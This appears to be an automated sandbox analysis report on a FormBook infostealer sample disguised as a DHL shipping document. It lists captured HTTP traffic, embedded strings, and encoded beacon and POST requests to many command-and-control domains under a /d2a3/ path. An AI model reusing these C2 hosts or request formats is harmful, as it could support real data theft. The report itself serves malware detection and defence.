          Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 20 Mar 2023 10:28:34 GMTContent-Type: application/x-www-form-urlencodedContent-Length: 498Connection: closeLast-Modified: Mon, 01 Dec 2014 15:11:20 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 20 20 20 20 20 20 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 3c 2f 74 69 74 6c 65 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 63 73 73 2f 65 72 72 6f 72 2e 63 73 73 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 45 72 72 6f 72 20 34 30 34 3c 2f 68 31 3e 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 0a 3c 68 32 3e 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 3c 70 3e 53 6f 72 72 79 2c 20 74 68 69 73 20 69 73 20 74 68 65 20 76 6f 69 64 2e 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 69 64 3d 22 66 6f 6f 74 65 72 22 3e 0a 50 6f 77 65 72 65 64 20 62 79 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 70 65 72 6c 64 61 6e 63 65 72 2e 6f 72 67 2f 22 3e 44 61 6e 63 65 72 3c 2f 61 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html><head><title>Error 404</title><link rel="stylesheet" href="/css/error.css" /><meta http-equiv="Content-type" content="text/html; charset=UTF-8" /></head><body><h1>Error 404</h1><div id="content"><h2>Page Not Found</h2><p>Sorry, this is the void.</p></div><div id="footer">Powered by <a href="http://perldancer.org/">Dancer</a></div></body></html>
          Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 20 Mar 2023 10:28:37 GMTContent-Type: text/htmlContent-Length: 498Connection: closeLast-Modified: Mon, 01 Dec 2014 15:11:20 GMTChimera-API-Server: api3.uk.chimera.uk2group.comX-Powered-By: Perl Dancer 1.3513Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 20 20 20 20 20 20 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 3c 2f 74 69 74 6c 65 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 63 73 73 2f 65 72 72 6f 72 2e 63 73 73 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 45 72 72 6f 72 20 34 30 34 3c 2f 68 31 3e 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 0a 3c 68 32 3e 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 3c 70 3e 53 6f 72 72 79 2c 20 74 68 69 73 20 69 73 20 74 68 65 20 76 6f 69 64 2e 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 69 64 3d 22 66 6f 6f 74 65 72 22 3e 0a 50 6f 77 65 72 65 64 20 62 79 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 70 65 72 6c 64 61 6e 63 65 72 2e 6f 72 67 2f 22 3e 44 61 6e 63 65 72 3c 2f 61 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html><head><title>Error 404</title><link rel="stylesheet" href="/css/error.css" /><meta http-equiv="Content-type" content="text/html; charset=UTF-8" /></head><body><h1>Error 404</h1><div id="content"><h2>Page Not Found</h2><p>Sorry, this is the void.</p></div><div id="footer">Powered by <a href="http://perldancer.org/">Dancer</a></div></body></html>
          Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundCache-Control: privateContent-Type: text/html; charset=utf-8Server: Microsoft-IIS/8.5X-AspNet-Version: 4.0.30319X-Powered-By: ASP.NETDate: Mon, 20 Mar 2023 10:28:40 GMTConnection: closeContent-Length: 1826Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 20 20 20 20 3c 68 65 61 64 3e 0d 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e e6 97 a0 e6 b3 95 e6 89 be e5 88 b0 e8 b5 84 e6 ba 90 e3 80 82 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 56 65 72 64 61 6e 61 22 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 6e 6f 72 6d 61 6c 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 2e 37 65 6d 3b 63 6f 6c 6f 72 3a 62 6c 61 63 6b 3b 7d 20 0d 0a 20 20 20 20 20 20 20 20 20 70 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 56 65 72 64 61 6e 61 22 3b 66 6f 6e 74 Data Ascii: <!DOCTYPE html><html> <head> <title></title> <meta name="viewport" content="width=device-width" /> <style> body {font-family:"Verdana";font-weight:normal;font-size: .7em;color:black;} p {font-family:"Verdana";font
          Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundCache-Control: privateContent-Type: text/html; charset=utf-8Server: Microsoft-IIS/8.5X-AspNet-Version: 4.0.30319X-Powered-By: ASP.NETDate: Mon, 20 Mar 2023 10:28:43 GMTConnection: closeContent-Length: 1826Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 20 20 20 20 3c 68 65 61 64 3e 0d 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e e6 97 a0 e6 b3 95 e6 89 be e5 88 b0 e8 b5 84 e6 ba 90 e3 80 82 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 56 65 72 64 61 6e 61 22 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 6e 6f 72 6d 61 6c 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 2e 37 65 6d 3b 63 6f 6c 6f 72 3a 62 6c 61 63 6b 3b 7d 20 0d 0a 20 20 20 20 20 20 20 20 20 70 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 56 65 72 64 61 6e 61 22 3b 66 6f 6e 74 Data Ascii: <!DOCTYPE html><html> <head> <title></title> <meta name="viewport" content="width=device-width" /> <style> body {font-family:"Verdana";font-weight:normal;font-size: .7em;color:black;} p {font-family:"Verdana";font
          Source: help.exe, 00000005.00000002.582591092.00000000036E8000.00000004.10000000.00040000.00000000.sdmpString found in binary or memory: http://motherhoodinthegarden.com/d2a3/?Mw=cN5AEPknHvfgRR2crmYFAZMRCOFajc7CFMghZAmOXZ6v62v
          Source: DHL_SHIPPING_DOCUMENT.exeString found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
          Source: help.exe, 00000005.00000002.582591092.0000000003D30000.00000004.10000000.00040000.00000000.sdmpString found in binary or memory: http://perldancer.org/
          Source: explorer.exe, 00000004.00000003.557927500.0000000005A9E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.451404045.0000000005A2E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.585709062.0000000005A9E000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.363ww.top
          Source: explorer.exe, 00000004.00000002.585709062.0000000005A9E000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.363ww.top/d2a3/
          Source: explorer.exe, 00000004.00000003.557927500.0000000005A9E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.451404045.0000000005A2E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.585709062.0000000005A9E000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.363ww.topwww.rw-bau.comF7L99l=8qpwJ
          Source: explorer.exe, 00000004.00000003.557927500.0000000005A9E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.451404045.0000000005A2E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.585709062.0000000005A9E000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.afzalhossainantor.com
          Source: explorer.exe, 00000004.00000002.585709062.0000000005A9E000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.afzalhossainantor.com/d2a3/
          Source: explorer.exe, 00000004.00000003.557927500.0000000005A9E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.451404045.0000000005A2E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.585709062.0000000005A9E000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.afzalhossainantor.comwww.staatslieden.bizF7L99l=8qpwJ
          Source: explorer.exe, 00000004.00000003.557927500.0000000005A9E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.451404045.0000000005A2E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.585709062.0000000005A9E000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.espisys-technology.com
          Source: explorer.exe, 00000004.00000002.585709062.0000000005A9E000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.espisys-technology.com/d2a3/
          Source: explorer.exe, 00000004.00000003.451404045.0000000005A2E000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.espisys-technology.comwww.on-smooth.comF7L99l=8qpwJ)
          Source: explorer.exe, 00000004.00000003.557927500.0000000005A9E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.451404045.0000000005A2E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.585709062.0000000005A9E000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.fresnocap.com
          Source: explorer.exe, 00000004.00000002.585709062.0000000005A9E000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.fresnocap.com/d2a3/
          Source: explorer.exe, 00000004.00000003.557927500.0000000005A9E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.451404045.0000000005A2E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.585709062.0000000005A9E000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.fresnocap.comwww.vanguardfsm.comF7L99l=8qpwJ
          Source: explorer.exe, 00000004.00000003.557927500.0000000005A9E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.451404045.0000000005A2E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.585709062.0000000005A9E000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.getpay.life
          Source: explorer.exe, 00000004.00000002.585709062.0000000005A9E000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.getpay.life/d2a3/
          Source: explorer.exe, 00000004.00000003.557927500.0000000005A9E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.451404045.0000000005A2E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.585709062.0000000005A9E000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.luxgudonu.store
          Source: explorer.exe, 00000004.00000002.585709062.0000000005A9E000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.luxgudonu.store/d2a3/
          Source: explorer.exe, 00000004.00000003.451404045.0000000005A2E000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.luxgudonu.storewww.sowmedia.siteF7L99l=8qpwJ
          Source: explorer.exe, 00000004.00000003.557927500.0000000005A9E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.451404045.0000000005A2E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.585709062.0000000005A9E000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.motherhoodinthegarden.com
          Source: explorer.exe, 00000004.00000002.585709062.0000000005A9E000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.motherhoodinthegarden.com/d2a3/
          Source: explorer.exe, 00000004.00000003.557927500.0000000005A9E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.451404045.0000000005A2E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.585709062.0000000005A9E000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.on-smooth.com
          Source: explorer.exe, 00000004.00000002.585709062.0000000005A9E000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.on-smooth.com/d2a3/
          Source: explorer.exe, 00000004.00000003.451404045.0000000005A2E000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.on-smooth.comwww.luxgudonu.storeF7L99l=8qpwJ
          Source: explorer.exe, 00000004.00000003.557927500.0000000005A9E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.451404045.0000000005A2E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.585709062.0000000005A9E000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.rw-bau.com
          Source: explorer.exe, 00000004.00000002.585709062.0000000005A9E000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.rw-bau.com/d2a3/
          Source: explorer.exe, 00000004.00000003.557927500.0000000005A9E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.451404045.0000000005A2E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.585709062.0000000005A9E000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.rw-bau.comwww.worldhortihealth.comF7L99l=8qpwJ
          Source: explorer.exe, 00000004.00000003.557927500.0000000005A9E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.451404045.0000000005A2E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.585709062.0000000005A9E000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.sowmedia.site
          Source: explorer.exe, 00000004.00000002.585709062.0000000005A9E000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.sowmedia.site/d2a3/
          Source: explorer.exe, 00000004.00000003.451404045.0000000005A2E000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.sowmedia.sitewww.yh78898.comF7L99l=8qpwJ
          Source: explorer.exe, 00000004.00000003.557927500.0000000005A9E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.451404045.0000000005A2E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.585709062.0000000005A9E000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.staatslieden.biz
          Source: explorer.exe, 00000004.00000002.585709062.0000000005A9E000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.staatslieden.biz/d2a3/
          Source: explorer.exe, 00000004.00000003.557927500.0000000005A9E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.451404045.0000000005A2E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.585709062.0000000005A9E000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.staatslieden.bizwww.fresnocap.comF7L99l=8qpwJ
          Source: explorer.exe, 00000004.00000003.557927500.0000000005A9E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.451404045.0000000005A2E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.585709062.0000000005A9E000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.vanguardfsm.com
          Source: explorer.exe, 00000004.00000002.585709062.0000000005A9E000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.vanguardfsm.com/d2a3/
          Source: explorer.exe, 00000004.00000003.557927500.0000000005A9E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.451404045.0000000005A2E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.585709062.0000000005A9E000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.vanguardfsm.comwww.xefordbienhoa.comF7L99l=8qpwJr
          Source: explorer.exe, 00000004.00000003.557927500.0000000005A9E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.451404045.0000000005A2E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.585709062.0000000005A9E000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.versicherungsgott.com
          Source: explorer.exe, 00000004.00000002.585709062.0000000005A9E000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.versicherungsgott.com/d2a3/
          Source: explorer.exe, 00000004.00000003.557927500.0000000005A9E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.451404045.0000000005A2E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.585709062.0000000005A9E000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.worldhortihealth.com
          Source: explorer.exe, 00000004.00000002.585709062.0000000005A9E000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.worldhortihealth.com/d2a3/
          Source: explorer.exe, 00000004.00000003.557927500.0000000005A9E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.451404045.0000000005A2E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.585709062.0000000005A9E000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.worldhortihealth.comwww.afzalhossainantor.comF7L99l=8qpwJ
          Source: explorer.exe, 00000004.00000003.557927500.0000000005A9E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.451404045.0000000005A2E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.585709062.0000000005A9E000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.xefordbienhoa.com
          Source: explorer.exe, 00000004.00000002.585709062.0000000005A9E000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.xefordbienhoa.com/d2a3/
          Source: explorer.exe, 00000004.00000003.557927500.0000000005A9E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.451404045.0000000005A2E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.585709062.0000000005A9E000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.yh78898.com
          Source: explorer.exe, 00000004.00000002.585709062.0000000005A9E000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.yh78898.com/d2a3/
          Source: explorer.exe, 00000004.00000003.451404045.0000000005A2E000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.yh78898.comwww.363ww.topF7L99l=8qpwJ
          Source: 35-7052c.5.drString found in binary or memory: https://ac.ecosia.org/autocomplete?q=
          Source: 35-7052c.5.drString found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
          Source: 35-7052c.5.drString found in binary or memory: https://duckduckgo.com/ac/?q=
          Source: help.exe, 00000005.00000003.398334454.000000000069B000.00000004.00000020.00020000.00000000.sdmp, 35-7052c.5.drString found in binary or memory: https://duckduckgo.com/chrome_newtab
          Source: 35-7052c.5.drString found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
          Source: help.exe, 00000005.00000003.398334454.000000000069B000.00000004.00000020.00020000.00000000.sdmp, 35-7052c.5.drString found in binary or memory: https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search
          Source: help.exe, 00000005.00000003.398334454.000000000069B000.00000004.00000020.00020000.00000000.sdmp, 35-7052c.5.drString found in binary or memory: https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas_sfp&command=
          Source: help.exe, 00000005.00000003.398334454.000000000069B000.00000004.00000020.00020000.00000000.sdmp, 35-7052c.5.drString found in binary or memory: https://search.yahoo.com?fr=crmas_sfp
          Source: help.exe, 00000005.00000003.398334454.000000000069B000.00000004.00000020.00020000.00000000.sdmp, 35-7052c.5.drString found in binary or memory: https://search.yahoo.com?fr=crmas_sfpf
          Source: help.exe, 00000005.00000003.398334454.000000000069B000.00000004.00000020.00020000.00000000.sdmp, 35-7052c.5.drString found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
          Source: unknownHTTP traffic detected: POST /d2a3/ HTTP/1.1Host: www.motherhoodinthegarden.comConnection: closeContent-Length: 184Cache-Control: no-cacheOrigin: http://www.motherhoodinthegarden.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://www.motherhoodinthegarden.com/d2a3/Accept-Language: en-USAccept-Encoding: gzip, deflateData Raw: 4d 77 3d 52 50 52 67 48 34 38 6e 43 63 44 72 51 57 37 78 32 56 34 7a 42 72 67 44 64 38 49 50 6e 38 76 6f 64 73 6f 58 51 78 4b 31 59 4b 66 4d 35 7a 6e 72 59 4d 78 73 76 48 33 4d 57 79 7a 71 4f 73 38 68 53 6c 50 6b 43 37 73 48 61 6c 33 64 52 4a 61 49 55 74 48 45 77 42 30 64 45 57 55 47 65 6f 4a 4e 45 31 6e 4e 54 76 37 4c 76 51 4d 56 4e 5f 61 4c 49 47 62 36 39 54 61 42 67 30 39 53 57 70 77 6a 63 39 73 53 78 69 4e 63 75 5a 67 70 66 58 6f 4e 74 75 34 38 6b 37 52 6f 46 4b 7a 32 6d 63 36 72 59 4f 68 6c 31 76 75 6c 69 48 75 4b 41 73 35 69 34 67 29 2e 00 00 00 00 00 00 00 00 Data Ascii: Mw=RPRgH48nCcDrQW7x2V4zBrgDd8IPn8vodsoXQxK1YKfM5znrYMxsvH3MWyzqOs8hSlPkC7sHal3dRJaIUtHEwB0dEWUGeoJNE1nNTv7LvQMVN_aLIGb69TaBg09SWpwjc9sSxiNcuZgpfXoNtu48k7RoFKz2mc6rYOhl1vuliHuKAs5i4g).
          Source: unknownDNS traffic detected: queries for: www.versicherungsgott.com
          Source: global trafficHTTP traffic detected: GET /d2a3/?F7L99l=8qpwJ&Mw=3fW4twhu5IX2LSkBcFVlWjxiVco4zHJfqjvATlwHU7q8puaymE5DWsW8adrpP96Z6UNtMOOwQnTRLGoNrAuApIzT11t8CH71vQ== HTTP/1.1Host: www.versicherungsgott.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
          Source: global trafficHTTP traffic detected: GET /d2a3/?Mw=cN5AEPknHvfgRR2crmYFAZMRCOFajc7CFMghZAmOXZ6v62v+A/wOpED6FQaDJ/tGFUb6Y91ZfjLOaofoM8qmjHtlEGMmc9VxCg==&F7L99l=8qpwJ HTTP/1.1Host: www.motherhoodinthegarden.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
          Source: global trafficHTTP traffic detected: GET /d2a3/?F7L99l=8qpwJ&Mw=VQWJd0zbMmoZh8qz35kMD56sFoyc6gTYso/MZ3BJ/Q0NuTQy4/HeuFqYJgzXZamkeMaLAEsOyVyJpFsiRVW3jp2QSfHijAqmyw== HTTP/1.1Host: www.getpay.lifeConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
          Source: global trafficHTTP traffic detected: GET /d2a3/?Mw=HRt8t1hC6ylxzqu69JiO+2+wCg/IpDjUJ4ODvXLX3JGoHCx8OnZPShMSZXcaT/6Kc192JGOxG+z3HQLrZrJeLIMi1PhqwEBrHA==&F7L99l=8qpwJ HTTP/1.1Host: www.espisys-technology.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
          Source: global trafficHTTP traffic detected: GET /d2a3/?F7L99l=8qpwJ&Mw=LnB6L7dnOzftoEr5UpUEPAqnd7gAmYo0E1h8Hr8XDrTV/RCVTRWGXzxgMAjKYD2ZiMi0DXBclY2V/N6w7Ub5K9/YRO3kcEW/Xg== HTTP/1.1Host: www.on-smooth.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
          Source: global trafficHTTP traffic detected: GET /d2a3/?Mw=OjO/noXVMTk40sLqqWNUhETz5fwNQfL3iZv4zuTHX4FsBRg0F7vbWW3nqcxNlOGl4ZCA660VFsqTMG20zBTe2NhxC9mrQabZ6Q==&F7L99l=8qpwJ HTTP/1.1Host: www.luxgudonu.storeConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
          Source: global trafficHTTP traffic detected: GET /d2a3/?F7L99l=8qpwJ&Mw=lIoejRloD0NPrvtjG56SffHGubt9bC7l7VozaPHGZoJbvkCik3wIcy97/aKLKqf+leC/SNQQ4bUyJkgTGWAXDnv4xxMA9hLjSw== HTTP/1.1Host: www.sowmedia.siteConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
          Source: global trafficHTTP traffic detected: GET /d2a3/?Mw=/rn7tSorYChcOKKpyJYvjsebDE1EetOtUlfXV6ATVt8jMTNnk8PtnAR6Iam3VdBxJXQPah1uBiYgzGnhkXQp6MgBOVaGh7iMCA==&F7L99l=8qpwJ HTTP/1.1Host: www.yh78898.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
          Source: C:\Users\user\Desktop\DHL_SHIPPING_DOCUMENT.exeCode function: 0_2_00405809 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

          E-Banking Fraud

          barindex
          Yara detected FormBook
          Source: Yara matchFile source: 3.2.eixfhzlwqd.exe.400000.0.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 3.2.eixfhzlwqd.exe.400000.0.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 00000005.00000002.581265823.0000000002C00000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
